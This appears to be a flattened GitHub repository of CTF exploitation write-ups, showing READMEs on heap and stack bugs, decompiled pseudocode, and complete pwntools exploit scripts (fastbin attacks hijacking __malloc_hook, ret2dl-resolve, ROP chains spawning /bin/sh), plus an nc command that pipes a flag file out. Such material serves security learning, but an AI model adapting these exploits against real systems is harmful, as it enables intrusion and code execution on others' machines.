├── .gitignore ├── LICENSE ├── README.md ├── ctfs ├── 0CTF │ ├── 2017 │ │ └── Quals │ │ │ └── babyheap │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ └── 2018 │ │ ├── Finals │ │ └── freenote2018 │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ │ └── Quals │ │ ├── babyheap │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── babystack │ │ ├── README.md │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── program │ │ └── pseudocode.cc ├── ASIS │ └── 2018 │ │ ├── Finals │ │ ├── asvdb │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.27.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ │ └── inception │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.27.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ │ └── Quals │ │ ├── cat │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ ├── fifty_dollars │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ ├── just_sort │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── message_me │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── BSidesDelhi │ └── 2018 │ │ └── data_bank │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.27.so │ │ ├── program │ │ └── pseudocode.cc ├── BSidesSF │ └── 2019 │ │ └── slowfire │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── program │ │ └── pseudocode.cc ├── C3CTF │ └── 2017 │ │ ├── README.md │ │ └── simplegc │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.26.so │ │ ├── program │ │ └── pseudocode.cc ├── CSAW │ ├── 2017 │ │ └── Quals │ │ │ ├── README.md │ │ │ └── scv │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ └── 2018 │ │ └── Quals │ │ ├── alien_invasion │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ ├── bigboy │ │ ├── README.md │ │ ├── exploit.py │ │ └── program │ │ ├── get_it │ │ ├── README.md │ │ ├── exploit.py │ │ └── program │ │ └── shell_code │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── program │ │ └── pseudocode.cc ├── Codegate │ └── 2018 │ │ └── Quals │ │ ├── baskin_robins31 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── super_marimo │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── HITCON │ └── 2018 │ │ └── children_tcache │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.27.so │ │ ├── program │ │ └── pseudocode.cc ├── Hack.lu │ └── 2018 │ │ └── babyphp │ │ ├── README.md │ │ ├── exploit.py │ │ └── program.php ├── InCTF │ └── 2018 │ │ ├── securepad │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ ├── warmup │ │ ├── README.md │ │ ├── exploit.py │ │ ├── lib │ │ │ ├── ld-linux-armhf.so.3 │ │ │ └── libc.so.6 │ │ ├── program │ │ └── pseudocode.cc │ │ └── yawn │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── MeePwn │ └── 2018 │ │ └── Quals │ │ └── babysandbox │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── program │ │ └── pseudocode.cc ├── NullconHackIM │ └── 2018 │ │ └── pwn2-box │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── PlaidCTF │ └── 2018 │ │ └── shop │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── RCTF │ └── 2018 │ │ ├── babyheap │ │ ├── README.md │ │ ├── babyheap │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ └── pseudocode.cc │ │ ├── rnote3 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── stringer │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── SECCON │ ├── 2017 │ │ └── Quals │ │ │ ├── README.md │ │ │ ├── election │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ │ │ ├── secure_keymanager │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ │ │ └── video_player │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── libc-2.23.so │ │ │ ├── program │ │ │ └── pseudocode.cc │ └── 2018 │ │ └── Quals │ │ ├── classic │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── profile │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── StarCTF │ └── 2018 │ │ ├── babystack │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ ├── note │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc │ │ └── warmup │ │ ├── README.md │ │ ├── exploit.py │ │ ├── program │ │ └── pseudocode.cc ├── TAMUctf │ ├── 2018 │ │ └── pwn5 │ │ │ ├── README.md │ │ │ ├── exploit.py │ │ │ ├── program │ │ │ └── pseudocode.cc │ └── 2019 │ │ ├── pwn3 │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── program │ │ └── pseudocode.cc │ │ └── pwn5 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── program │ │ └── pseudocode.cc ├── UIUCTF │ └── 2018 │ │ └── how2heap │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.26.so │ │ ├── program │ │ └── pseudocode.cc ├── UTCTF │ └── 2019 │ │ └── babyecho │ │ ├── README.md │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── ld-2.23.so │ │ ├── libc-2.23.so │ │ ├── program │ │ └── pseudocode.cc ├── WPICTF │ └── 2018 │ │ ├── forker.level1 │ │ ├── README.md │ │ ├── exploit.asm │ │ ├── exploit.py │ │ ├── flag.txt │ │ ├── program │ │ └── pseudocode.cc │ │ └── forker.level2 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── exploit.sh │ │ ├── program │ │ └── pseudocode.cc ├── WhiteHat │ └── 2018 │ │ └── Quals │ │ └── pwn02 │ │ ├── README.md │ │ ├── exploit.py │ │ ├── libc-2.27.so │ │ ├── program │ │ └── pseudocode.cc └── iCTF │ └── 2018 │ └── fantasticiot │ ├── README.md │ ├── exploit.py │ └── program └── docker ├── Dockerfile ├── README.md ├── build-image.sh ├── common.sh ├── create-container.sh └── run-container.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.core 2 | *_recompiled 3 | core 4 | .gdb_history 5 | .*.swp 6 | peda-session*.txt 7 | exploit 8 | exploit.o 9 | exploit.bin 10 | 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Sajjad Arshad 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /ctfs/0CTF/2017/Quals/babyheap/README.md: -------------------------------------------------------------------------------- 1 | This challenge contains a `heap overflow` vulnerability. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`. So, by using the `overflow` vulnerability, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `fastbin attack` in order to overwrite `__malloc_hook` with `one gadget` address. This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` protections. 2 | -------------------------------------------------------------------------------- /ctfs/0CTF/2017/Quals/babyheap/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def allocate(size): 6 | p.sendlineafter('Command: ', '1') 7 | p.sendlineafter('Size: ', str(size)) 8 | 9 | def fill(index, size, content): 10 | p.sendlineafter('Command: ', '2') 11 | p.sendlineafter('Index: ', str(index)) 12 | p.sendlineafter('Size: ', str(size)) 13 | p.sendafter('Content: ', content) 14 | 15 | def free(index): 16 | p.sendlineafter('Command: ', '3') 17 | p.sendlineafter('Index: ', str(index)) 18 | 19 | def dump(index): 20 | p.sendlineafter('Command: ', '4') 21 | p.sendlineafter('Index: ', str(index)) 22 | p.recvuntil('Content: \n') 23 | 24 | with context.quiet: 25 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 26 | 27 | # list[0] => fastbin_1 (0x21) 28 | # allocate fastbin_1 in order to launch the overflow attack 29 | allocate(0x18) 30 | fill(0, 0x18, 'a' * 0x18) 31 | 32 | # list[1] => smallbin_1 (0x91) 33 | # allocate smallbin_1 to set its IS_MMAPED bit by filling fastbin_1 34 | allocate(0x88) 35 | fill(1, 0x88, 'b' * 0x88) 36 | 37 | # list[2] => fastbin_2 (0x21) 38 | # allocate fastbin_2 in order to prevent smallbin_1 being consolidated into top chunk after free 39 | allocate(0x18) 40 | fill(2, 0x18, 'c' * 0x18) 41 | 42 | # smallbin_1 should be freed beforing setting its IS_MMAPED 43 | # fd and bk pointers are written for this chunk, which are pointing to main arena 44 | free(1) 45 | 46 | # use the overflow vulnerability in fastbin_1 to replace smallbin_1's size that 47 | # sets IS_MMAPED bit. Its size changes from 0x91 to 0x93 (PREV_INUSE && IS_MMAPED) 48 | fill(0, 0x20, 'a' * 0x18 + p64(0x93)) 49 | 50 | # list[1] => smallbin_2 (0x93) 51 | # smallbin_2 will be placed in smallbin_1's chunk 52 | # however, calloc won't zero out its content since it's MMAPED 53 | allocate(0x88) 54 | 55 | # leak bk pointer of smallbin_1 56 | dump(1) 57 | 58 | libc_base = u64(p.recv(8)) - 0x3c4b78 59 | print 'libc base: {}'.format(hex(libc_base)) 60 | 61 | # list[3] => fastbin_3 (0x71) 62 | # allocate a fastbin_3 chunk in order to launch the overflow attack on 63 | allocate(0x68) 64 | fill(3, 0x68, 'd' * 0x68) 65 | 66 | # insert the fastbin_3 into the fastbin free list 67 | free(3) 68 | 69 | # use fastbin_2 to overwrite fastbin_3's fd pointer to point to a fake chunk 70 | # which is located in main arena before __malloc_hook 71 | fake_chunk = libc_base + 0x3c4aed 72 | print 'fake chunk: {}'.format(hex(fake_chunk)) 73 | fill(2, 0x18 + 0x8 + 0x8, 'c' * 0x18 + p64(0x71) + p64(fake_chunk)) 74 | 75 | # list[3] => fastbin_3 (0x71) 76 | # this allocation puts the fake chunk's address in the fastbin's free list 77 | allocate(0x68) 78 | fill(3, 0x68, 'd' * 0x68) 79 | 80 | # list[4] => fastbin_4 (0x7f) 81 | # this allocation will return the fake chunk's address 82 | # we then overwrite __malloc_hook with the address of one_gadget's execve 83 | # 0x4526a execve("/bin/sh", rsp+0x30, environ) 84 | # constraints: 85 | # [rsp+0x30] == NULL 86 | one_gadget = libc_base + 0x4526a 87 | print 'one gadget: {}'.format(hex(one_gadget)) 88 | allocate(0x68) 89 | fill(4, 0x13 + 8, '0' * 0x13 + p64(one_gadget)) 90 | 91 | # this allocation will call __malloc_hook, which jumps to one_gadget's execve 92 | allocate(1) 93 | 94 | p.interactive() 95 | 96 | -------------------------------------------------------------------------------- /ctfs/0CTF/2017/Quals/babyheap/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2017/Quals/babyheap/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/0CTF/2017/Quals/babyheap/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2017/Quals/babyheap/program -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Finals/freenote2018/README.md: -------------------------------------------------------------------------------- 1 | In `0CTF Final 2018 - freenote2018` challenge, there is a `double free` vulnerability that allows us to launch `fastbin dup` attack. Using this attack, we can create `overlapping chunks`, manipulate `heap metadata`, and finally overwrite `__malloc_hook` with `one gadget` address to execute `/bin/sh`. This challenge is very interesting because in contrast to most challenges, we `cannot` leak any addresses (e.g., `libc`, `heap`) to de-randomize `ASLR`. Instead, we have the ability to partially overwrite memory, so with some brute force (because the `12 least significant bits` are fixed), we can easily overwrite `__malloc_hook` with the right address. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, `Full RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Finals/freenote2018/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2018/Finals/freenote2018/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Finals/freenote2018/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2018/Finals/freenote2018/program -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Finals/freenote2018/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int notes_count; 2 | int note_table[60]; 3 | 4 | int read_num() 5 | { 6 | int64_t buf; // [rsp+10h] [rbp-10h] 7 | uint64_t v2; // [rsp+18h] [rbp-8h] 8 | 9 | buf = 0LL; 10 | read(0, &buf, 8uLL); 11 | return atoi((const char *)&buf); 12 | } 13 | 14 | int64_t show_banner() 15 | { 16 | puts("Welcome to 0ctf 2018 finals\nhere you can"); 17 | return 0LL; 18 | } 19 | 20 | int show_menu() 21 | { 22 | puts("1. init a note"); 23 | puts("2. edit a note"); 24 | puts("3. free a note"); 25 | puts("4. show a note"); 26 | puts("5. exit"); 27 | printf("Choice:"); 28 | return read_num(); 29 | } 30 | 31 | signed int64_t init_note() 32 | { 33 | int64_t result; // rax 34 | unsigned int v1; // [rsp+Ch] [rbp-124h] 35 | unsigned int size; // [rsp+10h] [rbp-120h] 36 | int len; // [rsp+14h] [rbp-11Ch] 37 | void *new_note; // [rsp+18h] [rbp-118h] 38 | char buf; // [rsp+20h] [rbp-110h] 39 | uint64_t v6; // [rsp+128h] [rbp-8h] 40 | 41 | v1 = 0; 42 | if ( (unsigned int)notes_count <= 15 ) 43 | { 44 | printf("Input the note length:"); 45 | len = read_num(); 46 | if ( len > 0 && len <= 256 ) 47 | { 48 | printf("Input the note content:"); 49 | size = read(0, &buf, 255uLL); 50 | if ( size > len ) 51 | size = len; 52 | new_note = malloc(len + 8); 53 | if ( new_note && size ) 54 | memcpy(new_note, &buf, size - 1); 55 | while ( note_table[4 * v1] ) 56 | ++v1; 57 | *((int64_t *)&unk_202040 + 2 * (signed int)v1) = new_note; 58 | note_table[4 * v1] = len; 59 | ++notes_count; 60 | printf("Here is your label: %d\n", v1); 61 | puts("Done~!"); 62 | result = 0LL; 63 | } 64 | else 65 | { 66 | puts("Not allow~!"); 67 | result = 1LL; 68 | } 69 | } 70 | else 71 | { 72 | puts("Not allow~!"); 73 | result = 1LL; 74 | } 75 | return result; 76 | } 77 | 78 | signed int64_t edit_note() 79 | { 80 | int64_t result; // rax 81 | int v1; // [rsp+8h] [rbp-8h] 82 | 83 | printf("Input the note index:"); 84 | v1 = read_num(); 85 | if ( v1 >= 0 && v1 <= 16 ) 86 | { 87 | if ( note_table[4 * v1] ) 88 | { 89 | printf("Input the note content:"); 90 | read(0, *((void **)&unk_202040 + 2 * v1), (unsigned int)note_table[4 * v1]); 91 | puts("Done~!"); 92 | result = 0LL; 93 | } 94 | else 95 | { 96 | puts("Not allow~!"); 97 | result = 1LL; 98 | } 99 | } 100 | else 101 | { 102 | puts("Not allow~!"); 103 | result = 1LL; 104 | } 105 | return result; 106 | } 107 | 108 | signed int64_t free_note() 109 | { 110 | int64_t result; // rax 111 | int v1; // [rsp+Ch] [rbp-4h] 112 | 113 | printf("Input the note index:"); 114 | v1 = read_num(); 115 | if ( v1 >= 0 && v1 <= 16 ) 116 | { 117 | if ( note_table[4 * v1] ) 118 | { 119 | free(*((void **)&unk_202040 + 2 * v1)); 120 | puts("Done~!"); 121 | result = 0LL; 122 | } 123 | else 124 | { 125 | puts("Not allow~!"); 126 | result = 1LL; 127 | } 128 | } 129 | else 130 | { 131 | puts("Not allow~!"); 132 | result = 1LL; 133 | } 134 | return result; 135 | } 136 | 137 | int view_note() 138 | { 139 | return puts("Not allow~!"); 140 | } 141 | 142 | void quit() 143 | { 144 | puts("Bye~!"); 145 | exit(0); 146 | } 147 | 148 | void main(int64_t a1, char **a2, char **a3) 149 | { 150 | int64_t savedregs; // [rsp+30h] [rbp+0h] 151 | 152 | setvbuf(stdout, 0LL, 2, 0LL); 153 | setvbuf(stdin, 0LL, 2, 0LL); 154 | alarm(0x1Eu); 155 | show_banner(); 156 | while ( 1 ) 157 | { 158 | switch (show_menu()) 159 | { 160 | case 1u: 161 | init_note(); 162 | break; 163 | case 2u: 164 | edit_note(); 165 | break; 166 | case 3u: 167 | free_note(); 168 | break; 169 | case 4u: 170 | view_note(); 171 | break; 172 | case 5u: 173 | quit(); 174 | return; 175 | default: 176 | puts("Invalid input\n"); 177 | break; 178 | } 179 | } 180 | } 181 | -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babyheap/README.md: -------------------------------------------------------------------------------- 1 | In `0CTFQuals 2018 - BabyHeap` challenge, there is an `off-by-one` vulnerability that leads to `double free` vulnerability which allows us to launch `fastbin dup` attack. Basically, we can leak a `libc` address to de-randomize `ASLR`, and overwrite `__malloc_hook` with `one gadget` to execute `/bin/sh`. As part of our exploit, we managed to overwrite `top chunk` pointer in the `main arena` which forces `malloc` to return an almost arbitrary memory location on the following allocation. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `PIE`, `Full RELRO`, and `ASLR` in `x86_64` binaries. -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babyheap/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2018/Quals/babyheap/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babyheap/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2018/Quals/babyheap/program -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babystack/README.md: -------------------------------------------------------------------------------- 1 | You need to use the technique described in `How the ELF Ruined Christmas` paper in order to execute `system`. 2 | -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babystack/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program') 7 | r = process('nc -l 10000', shell=True) 8 | 9 | readplt = 0x8048300 10 | vuln = 0x804843b 11 | garbage = 'A' * 0x28 + 'BBBB' 12 | bss = 0x0804a020 13 | 14 | PLT = 0x080482f0 15 | 16 | alarm_got_plt = 0x0804a010 17 | 18 | rel_plt = 0x080482b0 19 | rel_plt_entry = bss 20 | rel_plt_entry_index = rel_plt_entry - rel_plt 21 | 22 | dynsym = 0x080481cc 23 | dynsym_entry = bss + 0xc 24 | dynsym_entry_index = (dynsym_entry - dynsym) / 16 25 | 26 | dynstr = 0x0804822c 27 | dynstr_entry = dynsym_entry + 16 28 | dynstr_entry_offset = dynstr_entry - dynstr 29 | dynstr_entry_value = 'system\0' 30 | 31 | binsh_addr = dynstr_entry + len(dynstr_entry_value) 32 | binsh = 'cat flag.txt | /bin/nc localhost 10000\0' 33 | 34 | p.send(garbage + p32(readplt) + p32(vuln) + p32(0) + p32(bss) + p32(8 + 4 + 16 + len(dynstr_entry_value) + len(binsh))) 35 | 36 | # create fake Elf_Rel entry (.rel.plt) in the beginning of .bss 37 | payload = p32(alarm_got_plt) + p32(dynsym_entry_index << 8 | 0x7) 38 | 39 | # empty 40 | payload += p32(0) 41 | 42 | # create Elf_Sym entry (.dynsym) in bss after Elf_Rel entry 43 | payload += p32(dynstr_entry_offset) + p32(0) * 3 44 | 45 | # create .dynstr entry in bss after Elf_Sym entry 46 | payload += dynstr_entry_value 47 | 48 | # write /bin/sh to bss after .dynstr entry 49 | payload += binsh 50 | 51 | p.send(payload) 52 | 53 | # jump to PLT to resolve the system using the fake rel_plt_entry_index in the stack 54 | # system then read /bin/sh from stack 55 | p.send(garbage + p32(PLT) + p32(rel_plt_entry_index) + p32(0) + p32(binsh_addr)) 56 | 57 | p.send('ls ;' * 1000) 58 | 59 | r.interactive() 60 | p.interactive() 61 | 62 | -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babystack/flag.txt: -------------------------------------------------------------------------------- 1 | FLAG{XXXXXXXXXXXXXXXXXXXXXXXX} 2 | -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babystack/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/0CTF/2018/Quals/babystack/program -------------------------------------------------------------------------------- /ctfs/0CTF/2018/Quals/babystack/pseudocode.cc: -------------------------------------------------------------------------------- 1 | ssize_t read_data() 2 | { 3 | char buf; // [esp+0h] [ebp-28h] 4 | 5 | return read(0, &buf, 0x40u); 6 | } 7 | 8 | int main() 9 | { 10 | alarm(0xAu); 11 | read_data(); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/asvdb/README.md: -------------------------------------------------------------------------------- 1 | In this challenge, there is an `uninitialized variable` vulnerability that leads to `double free` and `use after free (UAF)`. Using these, we leak a `libc` address to de-randomize `ASLR`, launch `tcache dup` attack, and then put our `fake chunk` address into the `tcache` using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__free_hook`, so we can overwrite `__free_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. 2 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/asvdb/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Finals/asvdb/libc-2.27.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/asvdb/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Finals/asvdb/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/inception/README.md: -------------------------------------------------------------------------------- 1 | There is a `stack overflow` vulnerability in this challenge, by which you can leak `read@GOT`, find `glibc` base address, and jump to `execve` found by `one gadget` using `return oriented programming (ROP)` technique. 2 | 3 | `return-to-csu: A New Method to Bypass 64-bit Linux ASLR` BlackHat talk is a must-read (https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf). 4 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/inception/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | with context.quiet: 6 | p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'}) 7 | 8 | # leak the read@GOT to de-randomize ASLR 9 | # write(1, read@GOT, 8) 10 | payload = p64(0x400cf3) # pop rdi; ret; 11 | payload += p64(0x1) # stdout 12 | payload += p64(0x400cf1) # pop rsi; pop r15; ret; 13 | payload += p64(0x602058) # read@GOT 14 | payload += p64(0x0) # r15 15 | payload += p64(0x400890) # write@GOT 16 | 17 | ''' 18 | 400cd0: 4c 89 fa mov rdx,r15 19 | 400cd3: 4c 89 f6 mov rsi,r14 20 | 400cd6: 44 89 ef mov edi,r13d 21 | 400cd9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 22 | 400cdd: 48 83 c3 01 add rbx,0x1 23 | 400ce1: 48 39 dd cmp rbp,rbx 24 | 400ce4: 75 ea jne 400cd0 25 | 400ce6: 48 83 c4 08 add rsp,0x8 26 | 400cea: 5b pop rbx 27 | 400ceb: 5d pop rbp 28 | 400cec: 41 5c pop r12 29 | 400cee: 41 5d pop r13 30 | 400cf0: 41 5e pop r14 31 | 400cf2: 41 5f pop r15 32 | 400cf4: c3 ret 33 | ''' 34 | 35 | # read the second payload and put it in the .bss 36 | # read(fd, .bss, 0x80) 37 | payload += p64(0x400cea) # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret 38 | payload += p64(0x0) # rbx = 0 39 | payload += p64(0x1) # rbp = 1 (in order to pass the "add rbx, 0x1; cmp rbp, rbx") 40 | payload += p64(0x602058) # r12 == 0x602058 (read's GOT) in order to meet "r12 + rbx * 8 == 0x602058" 41 | payload += p64(0x0) # r13 == rdi == fd == 0 42 | payload += p64(0x602200) # r14 == rsi == .bss address == 0x602200 43 | payload += p64(0x80) # r15 == rdx == 0x80 (size) 44 | payload += p64(0x400cd0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call QWORD PTR [r12+rbx*8] ... 45 | payload += p64(0x0) * 7 # garbage until reach the ret 46 | 47 | # write the second payload to pipe which causes stack overflow in the paret process 48 | # write(pipe_fd, .bss, 0x80) 49 | payload += p64(0x400cf3) # pop rdi; ret; 50 | payload += p64(0x6) # pipe_fd 51 | payload += p64(0x400cf1) # pop rsi; pop r15; ret; 52 | payload += p64(0x602200) # read@GOT 53 | payload += p64(0x0) # r15 54 | payload += p64(0x400890) # write@GOT 55 | 56 | # overwrite return address of child process 57 | p.send('ASIS{N0T_R34LLY_4_FL4G}\x00' + '\x00' * 16 + payload) 58 | 59 | p.recvuntil('something: Yeah tha') 60 | 61 | # find the libc base using the leaked read@GOT 62 | libc_base = u64(p.recv(8)) - 0x110070 63 | print 'libc base: {}'.format(hex(libc_base)) 64 | 65 | ''' 66 | 0x4f322 execve("/bin/sh", rsp+0x40, environ) 67 | constraints: 68 | [rsp+0x40] == NULL 69 | ''' 70 | one_gadget = libc_base + 0x4f322 71 | print 'one gadget: {}'.format(hex(one_gadget)) 72 | 73 | # overwrite the return address in the parent process 74 | p.sendline('TRANSMISSION_OVER\x00' + '\x00' * 22 + p64(one_gadget)) 75 | 76 | p.interactive() 77 | 78 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/inception/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Finals/inception/libc-2.27.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/inception/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Finals/inception/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Finals/inception/pseudocode.cc: -------------------------------------------------------------------------------- 1 | char *s1 = "ASIS{N0T_R34LLY_4_FL4G}"; 2 | char *off_6020A0 = "TRANSMISSION_OVER"; 3 | void *buf = &aYeahThatSSomet; 4 | void *off_6020B0 = &aWeReNotExpecti; 5 | 6 | unsigned int setup_env() 7 | { 8 | setvbuf(stdout, 0LL, 2, 0LL); 